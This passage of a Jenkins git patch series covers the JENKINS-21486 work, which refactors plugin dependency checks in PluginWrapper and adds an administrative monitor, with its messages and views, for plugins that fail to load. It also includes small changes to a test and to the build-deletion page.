zyZX=!47=A$3&lF^!TFIGOD979T&~>}5ihg)Q~IwUY1f_-lX8j%+StT_PE-xx!S;0!$iAP*;zjga3V{6`gdP?Cs`(wZIjyIx z{+q>PJN+Q`zVx<%URSry%5*M*7o}2-VpQAt`5%{N$LEA$hVwXt)qcD5-#qxMz>yu z^Su&?Z^&o~J-fFv_vWS9k=+8PUR;;|kX}3*>O>NLtPEpi6;$-#w98`sn_N6{q<7r;wWPp#i7u6}LW(+-tR)T3PjurM?P2Asd> zSULZQMeR@5!UQV_9rMi(W3H+v-!}m`pV28a*q9rUZUU;>3>38bvZB0DNtw@URNCC| zi%dvYOmB1pF`vrlK&(LRVhjOVaITCh#u<%~0)zyNy|lo&g}QRX4c4zg!E}mY#Acjg z=-5e2uz$)-!>9sd3r$xcjeYg;{!bMc8fr#e7`sQhE^@#>-KgGN*-O$9R<~SWf4029 zgysOQZ<_z9-5ND2R||ieZR)Fqf3$o1J_Y^u0riXhw-mH&TiMM~Sverg`Z=mya>K`e xBJ0=gj_#7>6lLrX=;T{@SGnZJtjgrbAUVBXut2Tf0P<`Geu{xG=HUbX`X569LH_^% literal 0 HcmV?d00001 -- GitLab From 646969b690797bb289a558104109ec1fc92b38cf Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 11:09:04 +0200 Subject: [PATCH 158/811] [JENKINS-21486] Refactoring --- core/src/main/java/hudson/PluginWrapper.java | 33 ++++++++++++-------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 31feb91c66..b81dbd92a5 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -28,7 +28,6 @@ import com.google.common.collect.ImmutableSet; import hudson.PluginManager.PluginInstanceStore; import hudson.model.Api; import hudson.model.ModelObject; -import jenkins.MissingDependencyException; import jenkins.YesNoMaybe; import jenkins.model.Jenkins; import hudson.model.UpdateCenter; @@ -550,26 +549,24 @@ public class PluginWrapper implements Comparable, ModelObject { if (requiredCoreVersion == null) { LOGGER.warning(shortName + " doesn't declare required core version."); } else { - if (Jenkins.getVersion().isOlderThan(new VersionNumber(requiredCoreVersion))) { - throw new IOException(shortName + " requires a more recent core version (" + requiredCoreVersion + ") than the current (" + Jenkins.getVersion() + ")."); - } + checkRequiredCoreVersion(requiredCoreVersion); } } - List missingDependencies = new ArrayList(); - List obsoleteDependencies = new ArrayList(); - List disabledDependencies = new ArrayList(); + List missingDependencies = new ArrayList<>(); + List obsoleteDependencies = new ArrayList<>(); + List disabledDependencies = new ArrayList<>(); // make sure dependencies exist for (Dependency d : dependencies) { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null) { - missingDependencies.add(d.toString()); + missingDependencies.add(d); } else { if (dependency.isActive()) { - if (ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK && dependency.getVersionNumber().isOlderThan(new VersionNumber(d.version))) { - obsoleteDependencies.add(dependency.getShortName() + "(" + dependency.getVersion() + " < " + d.version + ")"); + if (isDependencyObsolete(d, dependency)) { + obsoleteDependencies.add(d); } } else { - disabledDependencies.add(d.toString()); + disabledDependencies.add(d); } } @@ -578,8 +575,8 @@ public class PluginWrapper implements Comparable, ModelObject { for (Dependency d : optionalDependencies) { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency != null && dependency.isActive()) { - if (ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK && dependency.getVersionNumber().isOlderThan(new VersionNumber(d.version))) { - obsoleteDependencies.add(dependency.getShortName() + "(" + dependency.getVersion() + " < " + d.version + ")"); + if (isDependencyObsolete(d, dependency)) { + obsoleteDependencies.add(d); } else { dependencies.add(d); } @@ -613,6 +610,16 @@ public class PluginWrapper implements Comparable, ModelObject { } } + private void checkRequiredCoreVersion(String requiredCoreVersion) throws IOException { + if (Jenkins.getVersion().isOlderThan(new VersionNumber(requiredCoreVersion))) { + throw new IOException(shortName + " requires a more recent core version (" + requiredCoreVersion + ") than the current (" + Jenkins.getVersion() + ")."); + } + } + + private boolean isDependencyObsolete(Dependency d, PluginWrapper dependency) { + return ENABLE_PLUGIN_DEPENDENCIES_VERSION_CHECK && dependency.getVersionNumber().isOlderThan(new VersionNumber(d.version)); + } + /** * If the plugin has {@link #getUpdateInfo() an update}, * returns the {@link hudson.model.UpdateSite.Plugin} object. -- GitLab From aeb6ad951ee0305e390752eff4a36609b0dcee29 Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Wed, 6 Apr 2016 21:39:01 +0200 Subject: [PATCH 159/811] [JENKINS-21485] AdministrativeMonitor for PluginWrapper --- core/src/main/java/hudson/PluginWrapper.java | 40 +++++++++++++++++++ .../main/resources/hudson/Messages.properties | 4 ++ .../message.jelly | 15 +++++++ 3 files changed, 59 insertions(+) create mode 100644 core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index b81dbd92a5..dfbc1b1806 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -26,6 +26,7 @@ package hudson; import com.google.common.collect.ImmutableSet; import hudson.PluginManager.PluginInstanceStore; +import hudson.model.AdministrativeMonitor; import hudson.model.Api; import hudson.model.ModelObject; import jenkins.YesNoMaybe; @@ -53,6 +54,8 @@ import org.apache.commons.lang.StringUtils; import org.apache.commons.logging.LogFactory; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; import org.kohsuke.stapler.export.Exported; import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -560,13 +563,16 @@ public class PluginWrapper implements Comparable, ModelObject { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null) { missingDependencies.add(d); + NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_MissingDependency(getLongName(), d.shortName)); } else { if (dependency.isActive()) { if (isDependencyObsolete(d, dependency)) { obsoleteDependencies.add(d); + NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_ObsoleteDependency(getLongName(), dependency.getLongName(), d.version)); } } else { disabledDependencies.add(d); + NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_DisabledDependency(getLongName(), dependency.getLongName())); } } @@ -577,6 +583,7 @@ public class PluginWrapper implements Comparable, ModelObject { if (dependency != null && dependency.isActive()) { if (isDependencyObsolete(d, dependency)) { obsoleteDependencies.add(d); + NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_ObsoleteDependency(getLongName(), dependency.getLongName(), d.version)); } else { dependencies.add(d); } @@ -612,6 +619,7 @@ public class PluginWrapper implements Comparable, ModelObject { private void checkRequiredCoreVersion(String requiredCoreVersion) throws IOException { if (Jenkins.getVersion().isOlderThan(new VersionNumber(requiredCoreVersion))) { + NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_OutdatedCoreVersion(getLongName(), requiredCoreVersion)); throw new IOException(shortName + " requires a more recent core version (" + requiredCoreVersion + ") than the current (" + Jenkins.getVersion() + ")."); } } @@ -725,6 +733,38 @@ public class PluginWrapper implements Comparable, ModelObject { return false; } + @Extension + public final static PluginWrapperAdministrativeMonitor NOTICE = new PluginWrapperAdministrativeMonitor(); + + /** + * Administrative Monitor for failed plugins + */ + public static final class PluginWrapperAdministrativeMonitor extends AdministrativeMonitor { + public final List pluginError = new ArrayList<>(); + + void addErrorMessage(String error) { + pluginError.add(error); + } + + public boolean isActivated() { + return !pluginError.isEmpty(); + } + + /** + * Depending on whether the user said "dismiss" or "correct", send him to the right place. + */ + public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { + if(req.hasParameter("correct")) { + rsp.sendRedirect(req.getContextPath()+"/pluginManager"); + + } + } + + public static PluginWrapperAdministrativeMonitor get() { + return AdministrativeMonitor.all().get(PluginWrapperAdministrativeMonitor.class); + } + } + // // // Action methods diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 038ecc0cd6..8bdde0139c 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -73,4 +73,8 @@ ProxyConfiguration.Success=Success Functions.NoExceptionDetails=No Exception details +PluginWrapper.admonitor.OutdatedCoreVersion=Plugin {0} requires Jenkins {1} or later +PluginWrapper.admonitor.MissingDependency=Plugin {0} requires the missing plugin {1} +PluginWrapper.admonitor.DisabledDependency=Plugin {0} depends on the disabled {1} +PluginWrapper.admonitor.ObsoleteDependency=Plugin {0} requires {1} {2} or later TcpSlaveAgentListener.PingAgentProtocol.displayName=Ping protocol diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly new file mode 100644 index 0000000000..91be4632b2 --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly @@ -0,0 +1,15 @@ + + +
    + +
    + +
    + +
      + +
    • ${pluginError}
    • +
      +
    +
    +
    \ No newline at end of file -- GitLab From b8f26b34a29ab3e8d80e8c7be4df2232cee0169e Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 15:50:37 +0200 Subject: [PATCH 160/811] [JENKINS-21486] Simplify dependency errors model and serve consistent messages between console and administrative monitor --- core/src/main/java/hudson/PluginWrapper.java | 122 +++++++++--------- .../main/resources/hudson/Messages.properties | 9 +- .../message.jelly | 13 +- 3 files changed, 73 insertions(+), 71 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index dfbc1b1806..45b28f7614 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -34,37 +34,41 @@ import jenkins.model.Jenkins; import hudson.model.UpdateCenter; import hudson.model.UpdateSite; import hudson.util.VersionNumber; +import org.jvnet.localizer.ResourceBundleHolder; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.HttpResponses; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.export.Exported; +import org.kohsuke.stapler.export.ExportedBean; +import org.kohsuke.stapler.interceptor.RequirePOST; +import org.apache.commons.lang.StringUtils; +import org.apache.commons.logging.LogFactory; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; +import java.io.Closeable; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; -import java.io.Closeable; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; +import java.util.Collection; import java.util.Collections; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Iterator; import java.util.List; import java.util.Set; +import java.util.jar.JarFile; import java.util.jar.Manifest; +import java.util.logging.Level; import java.util.logging.Logger; + import static java.util.logging.Level.WARNING; import static org.apache.commons.io.FilenameUtils.getBaseName; -import org.apache.commons.lang.StringUtils; -import org.apache.commons.logging.LogFactory; -import org.kohsuke.stapler.HttpResponse; -import org.kohsuke.stapler.HttpResponses; -import org.kohsuke.stapler.StaplerRequest; -import org.kohsuke.stapler.StaplerResponse; -import org.kohsuke.stapler.export.Exported; -import org.kohsuke.stapler.export.ExportedBean; -import org.kohsuke.stapler.interceptor.RequirePOST; - -import java.util.Enumeration; -import java.util.jar.JarFile; -import java.util.logging.Level; -import javax.annotation.CheckForNull; -import javax.annotation.Nonnull; /** * Represents a Jenkins plug-in and associated control information @@ -150,6 +154,12 @@ public class PluginWrapper implements Comparable, ModelObject { private final List dependencies; private final List optionalDependencies; + public List getDependencyErrors() { + return Collections.unmodifiableList(dependencyErrors); + } + + private final transient List dependencyErrors = new ArrayList<>(); + /** * Is this plugin bundled in jenkins.war? */ @@ -552,27 +562,28 @@ public class PluginWrapper implements Comparable, ModelObject { if (requiredCoreVersion == null) { LOGGER.warning(shortName + " doesn't declare required core version."); } else { - checkRequiredCoreVersion(requiredCoreVersion); + VersionNumber actualVersion = Jenkins.getVersion(); + if (actualVersion.isOlderThan(new VersionNumber(requiredCoreVersion))) { + dependencyErrors.add(Messages.PluginWrapper_obsoleteCore(Jenkins.getVersion().toString(), requiredCoreVersion)); + } } } - List missingDependencies = new ArrayList<>(); - List obsoleteDependencies = new ArrayList<>(); - List disabledDependencies = new ArrayList<>(); // make sure dependencies exist for (Dependency d : dependencies) { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null) { - missingDependencies.add(d); - NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_MissingDependency(getLongName(), d.shortName)); + dependencyErrors.add(Messages.PluginWrapper_missing(d.shortName, d.version)); } else { if (dependency.isActive()) { if (isDependencyObsolete(d, dependency)) { - obsoleteDependencies.add(d); - NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_ObsoleteDependency(getLongName(), dependency.getLongName(), d.version)); + dependencyErrors.add(Messages.PluginWrapper_obsolete(dependency.getLongName(), dependency.getVersion(), d.version)); } } else { - disabledDependencies.add(d); - NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_DisabledDependency(getLongName(), dependency.getLongName())); + if (isDependencyObsolete(d, dependency)) { + dependencyErrors.add(Messages.PluginWrapper_disabledAndObsolete(dependency.getLongName(), dependency.getVersion(), d.version)); + } else { + dependencyErrors.add(Messages.PluginWrapper_disabled(dependency.getLongName())); + } } } @@ -582,45 +593,24 @@ public class PluginWrapper implements Comparable, ModelObject { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency != null && dependency.isActive()) { if (isDependencyObsolete(d, dependency)) { - obsoleteDependencies.add(d); - NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_ObsoleteDependency(getLongName(), dependency.getLongName(), d.version)); + dependencyErrors.add(Messages.PluginWrapper_obsolete(dependency.getLongName(), dependency.getVersion(), d.version)); } else { dependencies.add(d); } } } - StringBuilder messageBuilder = new StringBuilder(); - if (!missingDependencies.isEmpty()) { - boolean plural = missingDependencies.size() > 1; - messageBuilder.append(plural ? "Dependencies " : "Dependency ") - .append(Util.join(missingDependencies, ", ")) - .append(" ").append(plural ? "don't" : "doesn't") - .append(" exist. "); - } - if (!disabledDependencies.isEmpty()) { - boolean plural = disabledDependencies.size() > 1; - messageBuilder.append(plural ? "Dependencies " : "Dependency ") - .append(Util.join(missingDependencies, ", ")) - .append(" ").append(plural ? "are" : "is") - .append(" disabled. "); - } - if (!obsoleteDependencies.isEmpty()) { - boolean plural = obsoleteDependencies.size() > 1; - messageBuilder.append(plural ? "Dependencies " : "Dependency ") - .append(Util.join(obsoleteDependencies, ", ")) - .append(" ").append(plural ? "are" : "is") - .append(" older than required."); - } - String message = messageBuilder.toString(); - if (!message.isEmpty()) { - throw new IOException(message); - } - } - - private void checkRequiredCoreVersion(String requiredCoreVersion) throws IOException { - if (Jenkins.getVersion().isOlderThan(new VersionNumber(requiredCoreVersion))) { - NOTICE.addErrorMessage(Messages.PluginWrapper_admonitor_OutdatedCoreVersion(getLongName(), requiredCoreVersion)); - throw new IOException(shortName + " requires a more recent core version (" + requiredCoreVersion + ") than the current (" + Jenkins.getVersion() + ")."); + if (!dependencyErrors.isEmpty()) { + NOTICE.addPlugin(this); + StringBuilder messageBuilder = new StringBuilder(); + messageBuilder.append("Failed to load ").append(getLongName()).append(System.lineSeparator()); + for (Iterator iterator = dependencyErrors.iterator(); iterator.hasNext(); ) { + String dependencyError = iterator.next(); + messageBuilder.append(" - ").append(dependencyError); + if (iterator.hasNext()) { + messageBuilder.append(System.lineSeparator()); + } + } + throw new IOException(messageBuilder.toString()); } } @@ -740,14 +730,18 @@ public class PluginWrapper implements Comparable, ModelObject { * Administrative Monitor for failed plugins */ public static final class PluginWrapperAdministrativeMonitor extends AdministrativeMonitor { - public final List pluginError = new ArrayList<>(); + private final Set plugins = new HashSet<>(); - void addErrorMessage(String error) { - pluginError.add(error); + void addPlugin(PluginWrapper plugin) { + plugins.add(plugin); } public boolean isActivated() { - return !pluginError.isEmpty(); + return !plugins.isEmpty(); + } + + public Collection getPlugins() { + return plugins; } /** diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 8bdde0139c..afbd50ab0a 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -73,8 +73,9 @@ ProxyConfiguration.Success=Success Functions.NoExceptionDetails=No Exception details -PluginWrapper.admonitor.OutdatedCoreVersion=Plugin {0} requires Jenkins {1} or later -PluginWrapper.admonitor.MissingDependency=Plugin {0} requires the missing plugin {1} -PluginWrapper.admonitor.DisabledDependency=Plugin {0} depends on the disabled {1} -PluginWrapper.admonitor.ObsoleteDependency=Plugin {0} requires {1} {2} or later +PluginWrapper.missing=Plugin "{0}" ({1}) is missing. To fix, install version {1} or later. +PluginWrapper.disabledAndObsolete=Plugin "{0}" ({1}) is disabled and older than required. To fix, install version {2} or later and enable it. +PluginWrapper.disabled=Plugin "{0}" is disabled. To fix, enable it. +PluginWrapper.obsolete=Plugin "{0}" ({1}) is older than required. To fix, install version {2} or later. +PluginWrapper.obsoleteCore=You must update Jenkins from {0} to version {1} or later to run this plugin. TcpSlaveAgentListener.PingAgentProtocol.displayName=Ping protocol diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly index 91be4632b2..d5855735cf 100644 --- a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly @@ -6,10 +6,17 @@ + There are dependency errors loading some plugins:
      - -
    • ${pluginError}
    • + +
    • ${plugin.longName} +
        + +
      • ${d}
      • +
        +
      +
    - \ No newline at end of file + -- GitLab From 99fa5f7a49ae06063c5306de877e1d5af3a56464 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 19:07:44 +0200 Subject: [PATCH 161/811] [JENKINS-21486] Fix :ant from daniel and separate failed plugin from missing --- core/src/main/java/hudson/PluginWrapper.java | 22 ++++++++++++++----- .../main/resources/hudson/Messages.properties | 1 + 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 45b28f7614..7b1e938daa 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -58,9 +58,11 @@ import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Enumeration; +import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; +import java.util.Map; import java.util.Set; import java.util.jar.JarFile; import java.util.jar.Manifest; @@ -247,7 +249,7 @@ public class PluginWrapper implements Comparable, ModelObject { @Override public String toString() { - return shortName + " (" + version + ") " + (optional ? "optional" : ""); + return shortName + " (" + version + ")" + (optional ? " optional" : ""); } } @@ -572,7 +574,13 @@ public class PluginWrapper implements Comparable, ModelObject { for (Dependency d : dependencies) { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null) { - dependencyErrors.add(Messages.PluginWrapper_missing(d.shortName, d.version)); + PluginWrapper failedDependency = NOTICE.getPlugin(d.shortName); + if (failedDependency != null) { + dependencyErrors.add(Messages.PluginWrapper_failed_to_load(failedDependency.getLongName(), d.version)); + break; + } else { + dependencyErrors.add(Messages.PluginWrapper_missing(d.shortName, d.version)); + } } else { if (dependency.isActive()) { if (isDependencyObsolete(d, dependency)) { @@ -730,10 +738,10 @@ public class PluginWrapper implements Comparable, ModelObject { * Administrative Monitor for failed plugins */ public static final class PluginWrapperAdministrativeMonitor extends AdministrativeMonitor { - private final Set plugins = new HashSet<>(); + private final Map plugins = new HashMap<>(); void addPlugin(PluginWrapper plugin) { - plugins.add(plugin); + plugins.put(plugin.shortName, plugin); } public boolean isActivated() { @@ -741,7 +749,11 @@ public class PluginWrapper implements Comparable, ModelObject { } public Collection getPlugins() { - return plugins; + return plugins.values(); + } + + public PluginWrapper getPlugin(String shortName) { + return plugins.get(shortName); } /** diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index afbd50ab0a..4484823892 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -74,6 +74,7 @@ ProxyConfiguration.Success=Success Functions.NoExceptionDetails=No Exception details PluginWrapper.missing=Plugin "{0}" ({1}) is missing. To fix, install version {1} or later. +PluginWrapper.failed_to_load=Plugin "{0}" ({1}) failed to load. Fix this plugin first. PluginWrapper.disabledAndObsolete=Plugin "{0}" ({1}) is disabled and older than required. To fix, install version {2} or later and enable it. PluginWrapper.disabled=Plugin "{0}" is disabled. To fix, enable it. PluginWrapper.obsolete=Plugin "{0}" ({1}) is older than required. To fix, install version {2} or later. -- GitLab From 6bf02d514d80e806f108290fbea06ac6f6064798 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 19:19:03 +0200 Subject: [PATCH 162/811] [JENKINS-21486] Fix up messages and show plugin version --- core/src/main/java/hudson/PluginWrapper.java | 4 ++-- core/src/main/resources/hudson/Messages.properties | 13 +++++++------ .../message.jelly | 2 +- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 7b1e938daa..b97e977ede 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -576,7 +576,7 @@ public class PluginWrapper implements Comparable, ModelObject { if (dependency == null) { PluginWrapper failedDependency = NOTICE.getPlugin(d.shortName); if (failedDependency != null) { - dependencyErrors.add(Messages.PluginWrapper_failed_to_load(failedDependency.getLongName(), d.version)); + dependencyErrors.add(Messages.PluginWrapper_failed_to_load_dependency(failedDependency.getLongName(), d.version)); break; } else { dependencyErrors.add(Messages.PluginWrapper_missing(d.shortName, d.version)); @@ -610,7 +610,7 @@ public class PluginWrapper implements Comparable, ModelObject { if (!dependencyErrors.isEmpty()) { NOTICE.addPlugin(this); StringBuilder messageBuilder = new StringBuilder(); - messageBuilder.append("Failed to load ").append(getLongName()).append(System.lineSeparator()); + messageBuilder.append(Messages.PluginWrapper_failed_to_load_plugin(getLongName(), getVersion())).append(System.lineSeparator()); for (Iterator iterator = dependencyErrors.iterator(); iterator.hasNext(); ) { String dependencyError = iterator.next(); messageBuilder.append(" - ").append(dependencyError); diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 4484823892..ec7f6002b4 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -73,10 +73,11 @@ ProxyConfiguration.Success=Success Functions.NoExceptionDetails=No Exception details -PluginWrapper.missing=Plugin "{0}" ({1}) is missing. To fix, install version {1} or later. -PluginWrapper.failed_to_load=Plugin "{0}" ({1}) failed to load. Fix this plugin first. -PluginWrapper.disabledAndObsolete=Plugin "{0}" ({1}) is disabled and older than required. To fix, install version {2} or later and enable it. -PluginWrapper.disabled=Plugin "{0}" is disabled. To fix, enable it. -PluginWrapper.obsolete=Plugin "{0}" ({1}) is older than required. To fix, install version {2} or later. -PluginWrapper.obsoleteCore=You must update Jenkins from {0} to version {1} or later to run this plugin. +PluginWrapper.missing={0} v{1} is missing. To fix, install v{1} or later. +PluginWrapper.failed_to_load_plugin={0} v{1} failed to load. +PluginWrapper.failed_to_load_dependency={0} v{1} failed to load. Fix this plugin first. +PluginWrapper.disabledAndObsolete={0} v{1} is disabled and older than required. To fix, install v{2} or later and enable it. +PluginWrapper.disabled={0} is disabled. To fix, enable it. +PluginWrapper.obsolete={0} v{1} is older than required. To fix, install v{2} or later. +PluginWrapper.obsoleteCore=You must update Jenkins from v{0} to v{1} or later to run this plugin. TcpSlaveAgentListener.PingAgentProtocol.displayName=Ping protocol diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly index d5855735cf..54fe072660 100644 --- a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.jelly @@ -9,7 +9,7 @@ There are dependency errors loading some plugins:
      -
    • ${plugin.longName} +
    • ${plugin.longName} v${plugin.version}
      • ${d}
      • -- GitLab From d8f3bfc8ed0f88e5bff757c0eec921d6c135d5b4 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 21:30:31 +0200 Subject: [PATCH 163/811] [JENKINS-21486] Cycle monitor should display plugin long name and version --- core/src/main/java/hudson/PluginManager.java | 8 ++++---- .../PluginCycleDependenciesMonitor/message.jelly | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 941dc0cdc2..b25bbb63ae 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -1868,14 +1868,14 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas private transient volatile boolean isActive = false; - private transient volatile List pluginsWithCycle; + private transient volatile List pluginsWithCycle; public boolean isActivated() { if(pluginsWithCycle == null){ - pluginsWithCycle = new ArrayList(); + pluginsWithCycle = new ArrayList<>(); for (PluginWrapper p : Jenkins.getInstance().getPluginManager().getPlugins()) { if(p.hasCycleDependency()){ - pluginsWithCycle.add(p.getShortName()); + pluginsWithCycle.add(p); isActive = true; } } @@ -1883,7 +1883,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas return isActive; } - public List getPluginsWithCycle() { + public List getPluginsWithCycle() { return pluginsWithCycle; } } diff --git a/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message.jelly b/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message.jelly index 3a7110fdca..1c80b2d66a 100644 --- a/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message.jelly +++ b/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message.jelly @@ -28,7 +28,7 @@ THE SOFTWARE. ${%PluginCycles}
          -
        • +
        -- GitLab From 8e3c9dadc1b09406ab6e77af33518ee3168470d4 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 28 Jul 2016 21:35:54 +0200 Subject: [PATCH 164/811] [JENKINS-21486] Mention both long name, short name and version in console --- core/src/main/java/hudson/PluginManager.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index b25bbb63ae..910d560a8b 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -505,7 +505,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas // schedule execution of loading plugins for (final PluginWrapper p : activePlugins.toArray(new PluginWrapper[activePlugins.size()])) { - g.followedBy().notFatal().attains(PLUGINS_PREPARED).add("Loading plugin " + p.getShortName(), new Executable() { + g.followedBy().notFatal().attains(PLUGINS_PREPARED).add(String.format("Loading plugin %s v%s (%s)", p.getLongName(), p.getVersion(), p.getShortName()), new Executable() { public void run(Reactor session) throws Exception { try { p.resolvePluginDependencies(); -- GitLab From dff8e806b9466652a351dd7fb7f742b6698140db Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 29 Jul 2016 07:04:35 +0200 Subject: [PATCH 165/811] [JENKINS-21486] Only consider plugins detached before the current version --- test/src/test/java/hudson/model/UsageStatisticsTest.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/model/UsageStatisticsTest.java b/test/src/test/java/hudson/model/UsageStatisticsTest.java index 63b6a14279..a02ee18d78 100644 --- a/test/src/test/java/hudson/model/UsageStatisticsTest.java +++ b/test/src/test/java/hudson/model/UsageStatisticsTest.java @@ -105,7 +105,9 @@ public class UsageStatisticsTest { List plugins = sortPlugins((List) o.get("plugins")); Set detached = new TreeSet<>(); for (ClassicPluginStrategy.DetachedPlugin p: ClassicPluginStrategy.getDetachedPlugins()) { - detached.add(p.getShortName()); + if (p.getSplitWhen().isOlderThan(Jenkins.getVersion())) { + detached.add(p.getShortName()); + } } Set keys = new TreeSet<>(); keys.add("name"); -- GitLab From 972437dd06ecd4b5e3d2ca751aa4da77187dcf33 Mon Sep 17 00:00:00 2001 From: Jakub Cechacek Date: Sat, 30 Jul 2016 14:55:44 +0200 Subject: [PATCH 166/811] Display delete button only when build is not locked (#2483) --- .../hudson/model/Run/confirmDelete.jelly | 25 +++++++++++-------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/hudson/model/Run/confirmDelete.jelly b/core/src/main/resources/hudson/model/Run/confirmDelete.jelly index 41c42b3eb0..c48788d423 100644 --- a/core/src/main/resources/hudson/model/Run/confirmDelete.jelly +++ b/core/src/main/resources/hudson/model/Run/confirmDelete.jelly @@ -24,20 +24,23 @@ THE SOFTWARE. - + - - + + -

        ${%Warning}: ${msg}

        -
        +

        ${%Warning}: ${msg}

        + -
        - ${%Are you sure about deleting the build?} - - + +
        + ${%Are you sure about deleting the build?} + + +
        -
        -
        + +
